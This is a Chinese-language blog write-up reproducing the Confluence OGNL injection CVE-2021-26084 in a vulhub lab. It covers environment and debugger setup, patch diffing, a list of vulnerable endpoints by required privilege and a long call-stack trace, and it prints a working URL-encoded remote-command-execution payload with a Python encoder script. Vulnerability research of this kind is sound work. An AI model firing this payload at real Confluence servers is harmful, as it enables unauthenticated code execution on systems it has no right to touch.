Diggid's Blog

Confluence 相关漏洞复现分析

字数统计: 10.3k阅读时长: 53 min
2022/05/12 Share

前置知识

如果了解OGNL模板注入或者struts2系列漏洞的话,对于后面分析Velocity模板引擎的一些语法和解析行为有帮助。不了解的可以先看看这篇文章

环境搭建

  1. vulhub
1
2
cd /Users/diggid/Workspace/exp/all/vulhub/confluence/CVE-2021-26084
docker-compose up -d
  1. 修改一下docker-compose.yml,加调试端口映射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version: '2'
services:
web:
image: vulhub/confluence:7.4.10
ports:
- "8090:8090"
- "5050:5050"
- "8091:8091" # 协同编辑的websocket端口,如果不映射的话需要关闭协同编辑功能,否则页面加载不了
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence

如果是M1 mac的话,vulhub的默认是x86架构的,跑confluence很卡,建议重新制作一个arm/confluence的容器,根据dockerhub的说明自己git clone一下confluence官方的docker仓库,然后在M1机子上build出来的就是arm架构的了。命令如下:

1
docker build --tag arm/confluence:7.13.6 --build-arg CONFLUENCE_VERSION=7.13.6 .
  1. 访问localhost:8090,完成confluence的安装
  • 啥都不选

  • key按照提示即可,不同的key对应不同的LICENSE,不能复用,否则创建pqsql数据库会出错

  • 先选standalone,cluster目前还不需要,可参考https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396

  • 配置pg(这一步时间比较长,耐心等待):address db, database name confluence, username postgres, password postgres

  • 开始站点的配置

    • 选Empty Site(防止其他错误)
    • Configure User Management:没jira的话选第一个就好
    • 配置admin的信息:admin、admin、admin
  1. 开启tomcat调试端口
  • /opt/atlassian/confluence/bin目录下修改setenv.sh,开启5050作为调试端口。之后restart一下容器即可
1
2
3
vim /opt/atlassian/confluence/bin/setenv.sh

CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"
  1. IDEA的配置
  • 复制需要的文件
1
docker cp cve-2021-26084_web_1:/opt/atlassian/confluence/confluence confluence
  • 把confluence/WEB-INF下的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib这三个文件作为lib添加到IDEA中。把confluence整个文件夹用IDEA打开
  • 配置Remote JVM Debug

image-20220513195444411

  1. LoginAction#validate方法下断,访问登录页面测试是否成功

CVE-2021-26084 - OGNL注入

发现漏洞点

通常应急漏洞时,diff修复前后的代码或者patch,能快速定位漏洞出现的地方。这一过程可以参考https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md这篇文章的思路,其发现并复现漏洞的过程几乎全部是黑盒的。这里简单总结一下

  1. diff patch

confluence修复该CVE的方式是提供了hot patch文件,其实就是一个修改.vm模板的脚本,patch一下7.4.10的代码,根据patch的output结果可以发现1、2文件没有改变(可能是该版本这两个文件不存在漏洞点),3、4、5的vm文件都改变了,其中5的vm模板还是包含在jar中的(这个后面再分析)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
File 1: 'confluence/users/user-dark-features.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
d. validating file changes.. ok
e. file updated successfully!

File 2: 'confluence/login.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
d. validating file changes.. ok
e. file updated successfully!

File 3: 'confluence/pages/createpage-entervariables.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
24c24
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
> #tag ("Hidden" "name='queryString'" "value=queryString")
26c26
< #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
---
> #tag ("Hidden" "name='linkCreation'" "value=linkCreation")
d. validating file changes..ok
e. file updated successfully!

File 4: 'confluence/template/custom/content-editor.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
64c64
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
> #tag ("Hidden" "name='queryString'" "value=queryString")
85c85
< #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
---
> #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value=templateId")
d. file updated successfully!

File 5: 'confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar':
a. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.4.10.jar..
Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.4.10.jar
inflating: ./templates/editor-preload-container.vm
b. updating file.. done
c. showing file changes..
d. validating file changes.. ok
e. updating confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.4.10.jar with ./templates/editor-preload-container.vm..updating: templates/editor-preload-container.vm (deflated 59%)
-rw-r--r-- 1 diggid staff 13395 May 15 13:04 confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.4.10.jar
f. cleaning up temp files..ok
g. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.4.10.jar again to check changes within JAR..
Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.4.10.jar
inflating: ./templates/editor-preload-container.vm
h. validating file changes for file within updated JAR.. ok
i. cleaning up temp files..ok

Update completed!

先观察3文件pages/createpage-entervariables.vm,可以很清楚的看到将'$!queryString'替换为了queryString,但是对于不太熟悉Velocity模板的我,目前还不知道这样替换的原因是什么,但是也可以简单猜测一下可能和SSTI有关,模板引擎根据vm文件应该是Velocity,而Velocity使用的表达式包括jsp和OGNL

1
2
3
4
5
6
7
8
24c24
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
> #tag ("Hidden" "name='queryString'" "value=queryString")
26c26
< #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
---
> #tag ("Hidden" "name='linkCreation'" "value=linkCreation")
  1. 找路由映射(找漏洞点的API)

接下来我们仔细看createpage-entervariables.vm这个模板文件

image-20220515131441815

可以发现这里对应的是一个form标签,那么#tag应该是input标签的,value就是参数值。如果有过分析struts2 ognl系列漏洞的经验的话,看到xxx.action的path,应该就知道这是类似struts2架构。struts2中使用struts.xml配置MVC中的V,也就是视图映射。其映射方式是通过action标签指定处理类XxxAction,根据result来映射不同的vm模板,一个最简单的例子如下:

1
2
3
<action name="test" class="com.acme.TestAction">
<result name="success" type="velocity">test-success.vm</result>
</action>

那么类比到confluence中,翻阅Confluence Server Developer Documentation,可以知道

image-20220515133253284

所以在默认的的Confluence中,肯定有xwork.xml文件来完成以上映射,找了一下在confluence/confluence/WEB-INF/lib/confluence-7.4.10.jar中存在xwork.xml,可以找到有以下action会映射到createpage-entervariables.vm文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<package name="pages" extends="default" namespace="/pages">
...
<action name="createpage-entervariables" class="com.atlassian.confluence.pages.actions.PageVariablesAction">
<interceptor-ref name="defaultStack"/>
<result name="error" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="input" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="success" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="novariables" type="velocity">/pages/createpage.vm</result>
</action>

<action name="doenterpagevariables" class="com.atlassian.confluence.pages.actions.PageVariablesAction" method="doEnter">
<result name="error" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="input" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="success" type="velocity">/pages/createpage.vm</result>
</action>
...
</package>
  • 白盒情况下我们的分析重点就是PageVariablesAction这个类
  • 黑盒下对于文件3的改动,与之相关的入口点可能有/pages/doenterpagevariables/pages/createpage-entervariables(后面证实这一入口点跟createpage-entervariables.vm无关,跟/pages/createpage.vm有关)
  1. 构造POC
  • 我们先尝试POST一个2*2,并没有解析,说明ognl表达式并没有生效
1
2
3
POST /pages/doenterpagevariables.action HTTP/1.1

queryString=2*2

image-20220515134800776

  • 这时候回看value='$!queryString',有单引号包裹,所以可能和闭合有关系,尝试构造。结果可以看出单引号被html实体编码了。
1
queryString='%2b2*2%2b' // '+2*2+'

image-20220515135021170

  • 这里就要用到OGNL表达式的一个特性了,支持unicode编码表达式。unicode先会被正常的解析为字符串,然后再进行ognl表达式的进一步解析。所以将单引号尝试unicode编码,成功解析为4
1
queryString=\u0027%2b2*2%2b\u0027 // \u0027+2*2+\u0027

image-20220515140000201

  • 尝试执行命令(注意不要用双引号,ognl只支持单引号),但是命令没有执行成功。猜测有ognl的内置过滤。其实黑盒测到这里基本上差不多了,已经证明存在ognl表达式注入了,至于bypass,需要跟踪调试一下代码里过滤点。
1
\u0027%2b@java.lang.Runtime@getRuntime().exec(\u0027touch%2b/tmp/success\u0027)%2b\u0027

POC

命令执行回显:

1
%5Cu0027%2BClass.forName%28%5Cu0027javax.script.ScriptEngineManager%5Cu0027%29.newInstance%28%29.getEngineByName%28%5Cu0027JavaScript%5Cu0027%29.eval%28%5Cu0027var%20isWin%20%3D%20java.lang.System.getProperty%28%5Cu0022os.name%5Cu0022%29.toLowerCase%28%29.contains%28%5Cu0022win%5Cu0022%29%3B%20var%20cmd%20%3D%20new%20java.lang.String%28%5Cu0022id%5Cu0022%29%3Bvar%20p%20%3D%20new%20java.lang.ProcessBuilder%28%29%3B%20if%28isWin%29%7Bp.command%28%5Cu0022cmd.exe%5Cu0022%2C%20%5Cu0022/c%5Cu0022%2C%20cmd%29%3B%20%7D%20else%7Bp.command%28%5Cu0022bash%5Cu0022%2C%20%5Cu0022-c%5Cu0022%2C%20cmd%29%3B%20%7Dp.redirectErrorStream%28true%29%3B%20var%20process%3D%20p.start%28%29%3B%20var%20inputStreamReader%20%3D%20new%20java.io.InputStreamReader%28process.getInputStream%28%29%29%3B%20var%20bufferedReader%20%3D%20new%20java.io.BufferedReader%28inputStreamReader%29%3B%20var%20line%20%3D%20%5Cu0022%5Cu0022%3B%20var%20output%20%3D%20%5Cu0022%5Cu0022%3B%20while%28%28line%20%3D%20bufferedReader.readLine%28%29%29%20%21%3D%20null%29%7Boutput%20%3D%20output%20%2B%20line%20%2B%20java.lang.Character.toString%2810%29%3B%20%7D%5Cu0027%29%2B%5Cu0027

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from urllib import parse
entity = ["'", "\"", "&", "<", ">"]

payload = """'+Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); var cmd = new java.lang.String("id");var p = new java.lang.ProcessBuilder(); if(isWin){p.command("cmd.exe", "/c", cmd); } else{p.command("bash", "-c", cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = ""; var output = ""; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }')+'"""

res = ""
for c in payload:
if c in entity:
tmp = hex(ord(c))[2:]
if len(tmp) == 0:
tmp = '0' + tmp
c = "\\u00" + tmp
res += c

print(parse.quote(res))

API点

spaceKey对应一个空间,空间如果设置权限则需要user-permission,如果默认是无限制则可以pre-auth,但是一般来说confluence管理员都会给相应的空间针对不同的用户设置不同的权限,所以对于pre-auth(匿名用户)难度比较高。对于一些action的访问,比如xxx-entervariables.action,只需要登录即可,对空间权限没有要求,但是对于createpage.action,需要用户有对应空间的相应权限(这里是创建页面权限)。所以总结一下有三种访问action的情况

  • pre-auth(匿名):无需权限
  • login(普通用户):只需登录
  • permission(普通带特权用户/admin):登录且需要执行该操作的相应权限(可能影响的点有:全局权限、空间权限、受限页面)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1./users/user-dark-features.vm
method: GET, POST
permission:
- /pages/docreatepagefromtemplate.action: featureKey(vul)

2./pages/createpage-entervariables.vm
method: GET, POST
pre-auth:
- /pages/doenterpagevariables.action: queryString(vul), linkCreation(vul)
permission:
- /pages/docreatepagefromtemplate.action: sourceTemplateId(vul), newSpaceKey

3./pages/createpage.vm
method: GET, POST
login:
- /pages/createpage-entervariables.action: queryString(vul), spaceKey
- /pages/createblogpost.action: queryString(vul), spaceKey
- /pages/docreateblogpost.action: queryString(vul), spaceKey
permission:
- /pages/createpage.action: queryString(vul), spaceKey
- /pages/docreatepage.action: queryString(vul), spaceKey
- /pages/createpage-choosetemplate.action(maybe)

4.templates/editor-preload-container.vm
貌似没啥影响

OGNL注入分析

有了前面的简单分析,现在可以仔细的看一下xwork/webwork框架是如何处理视图映射的了。由于最后会执行ognl.Ognl#getValue来解析表达式,所以我们下断在此,然后再往上回溯

image-20220515143301706

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
getValue:310, Ognl (ognl)
findValue:141, OgnlValueStack (com.opensymphony.xwork.util)
internalGet:72, WebWorkVelocityContext (com.opensymphony.webwork.views.velocity)
get:193, AbstractContext (org.apache.velocity.context)
get:286, InternalContextAdapterImpl (org.apache.velocity.context)
get:87, ChainedInternalContextAdapter (org.apache.velocity.context)
get:266, ProxyVMContext (org.apache.velocity.context)
getVariableValue:843, ASTReference (org.apache.velocity.runtime.parser.node)
execute:222, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, ASTReference (org.apache.velocity.runtime.parser.node)
render:72, ASTBlock (org.apache.velocity.runtime.parser.node)
render:212, VelocimacroProxy (org.apache.velocity.runtime.directive)
render:247, RuntimeMacro (org.apache.velocity.runtime.directive)
render:175, ASTDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:328, Template (org.apache.velocity)
merge:235, Template (org.apache.velocity)
doExecute:91, VelocityResult (com.opensymphony.webwork.dispatcher)
doExecute:18, ProfiledVelocityResult (com.atlassian.xwork.results)
doExecute:43, EncodingVelocityResult (com.atlassian.confluence.setup.webwork)
execute:116, WebWorkResultSupport (com.opensymphony.webwork.dispatcher)
executeResult:263, DefaultActionInvocation (com.opensymphony.xwork)
invoke:187, DefaultActionInvocation (com.opensymphony.xwork)
intercept:65, ConfluenceLicenseInterceptor (com.atlassian.confluence.core)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:35, AroundInterceptor (com.opensymphony.xwork.interceptor)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:37, MessageHolderInterceptor (com.atlassian.confluence.validation)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:35, AroundInterceptor (com.opensymphony.xwork.interceptor)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:44, LoggingContextInterceptor (com.atlassian.confluence.util)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:21, CancellingInterceptor (com.atlassian.confluence.core)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:119, RestrictHttpMethodInterceptor (com.atlassian.xwork.interceptors)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:57, WebSudoInterceptor (com.atlassian.confluence.security.websudo)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:42, ThemeContextInterceptor (com.atlassian.confluence.themes)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:97, PermissionCheckInterceptor (com.atlassian.confluence.security.actions)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:19, BootstrapAwareInterceptor (com.atlassian.confluence.setup.webwork)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:35, AroundInterceptor (com.opensymphony.xwork.interceptor)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:50, UserAwareInterceptor (com.atlassian.confluence.user.actions)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:37, CommentAwareInterceptor (com.atlassian.confluence.pages.actions)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:43, PageAwareInterceptor (com.atlassian.confluence.pages.actions)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:70, SpaceAwareInterceptor (com.atlassian.confluence.spaces.actions)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:31, ConfluenceAccessInterceptor (com.atlassian.confluence.security.interceptors)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:21, FlashScopeInterceptor (com.atlassian.confluence.xwork)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:35, AroundInterceptor (com.opensymphony.xwork.interceptor)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:27, LastModifiedInterceptor (com.atlassian.confluence.core.actions)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:44, ConfluenceAutowireInterceptor (com.atlassian.confluence.core)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:35, AroundInterceptor (com.opensymphony.xwork.interceptor)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
invokeAndHandleExceptions:61, TransactionalInvocation (com.atlassian.xwork.interceptors)
invokeInTransaction:51, TransactionalInvocation (com.atlassian.xwork.interceptors)
intercept:50, XWorkTransactionInterceptor (com.atlassian.xwork.interceptors)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:61, SetupIncompleteInterceptor (com.atlassian.confluence.xwork)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:26, SecurityHeadersInterceptor (com.atlassian.confluence.security.interceptors)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
intercept:35, AroundInterceptor (com.opensymphony.xwork.interceptor)
invoke:165, DefaultActionInvocation (com.opensymphony.xwork)
execute:115, DefaultActionProxy (com.opensymphony.xwork)
serviceAction:56, ConfluenceServletDispatcher (com.atlassian.confluence.servlet)
service:199, ServletDispatcher (com.opensymphony.webwork.dispatcher)
service:733, HttpServlet (javax.servlet.http)


=============================================================
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:46, DebugFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:39, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:52, IncludeResourcesFilter (com.atlassian.confluence.plugins.baseurl)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:36, BotKillerFilter (com.atlassian.labs.botkiller)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:24, ContextFilter (com.atlassian.applinks.core.rest.context)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:24, ContextFilter (com.atlassian.applinks.core.rest.context)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:24, ContextFilter (com.atlassian.applinks.core.rest.context)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:24, ContextFilter (com.atlassian.applinks.core.rest.context)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:24, ContextFilter (com.atlassian.applinks.core.rest.context)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:70, PulpFilter (com.atlassian.confluence.plugins.pulp)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:75, UniversalAnalyticsFilter (com.atlassian.analytics.client.filter)
doFilter:48, AbstractHttpFilter (com.atlassian.analytics.client.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:32, ServingRequestsFilter (com.atlassian.mywork.client.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:77, OnboardingFilter (com.atlassian.confluence.efi)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:32, PrettyUrlsSiteMeshFixupFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:55, PrettyUrlsDispatcherFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:80, PrettyUrlsSiteMeshFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:51, PrettyUrlsMatcherFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:58, MobileAppWebViewFilter (com.atlassian.confluence.plugins.mobile.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
doFilter:55, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:43, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)

============================================================
doFilter:50, JohnsonServletFilterModuleContainerFilter (com.atlassian.johnson.plugin.servlet.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:65, MessagesDecoratorFilter (com.atlassian.confluence.util.message)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
obtainContent:129, SiteMeshFilter (com.opensymphony.sitemesh.webapp)
doFilter:77, SiteMeshFilter (com.opensymphony.sitemesh.webapp)
doFilter:50, ProfilingSiteMeshFilter (com.atlassian.confluence.util.profiling)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:39, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:46, AbstractThreadNamingFilter (com.atlassian.troubleshooting.thready.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:39, ConfluenceActivityFilter (com.atlassian.confluence.util.profiling)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:56, PrettyUrlsCombinedMatchDispatcherFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
doFilter:55, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:43, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:50, JohnsonServletFilterModuleContainerFilter (com.atlassian.johnson.plugin.servlet.filter)
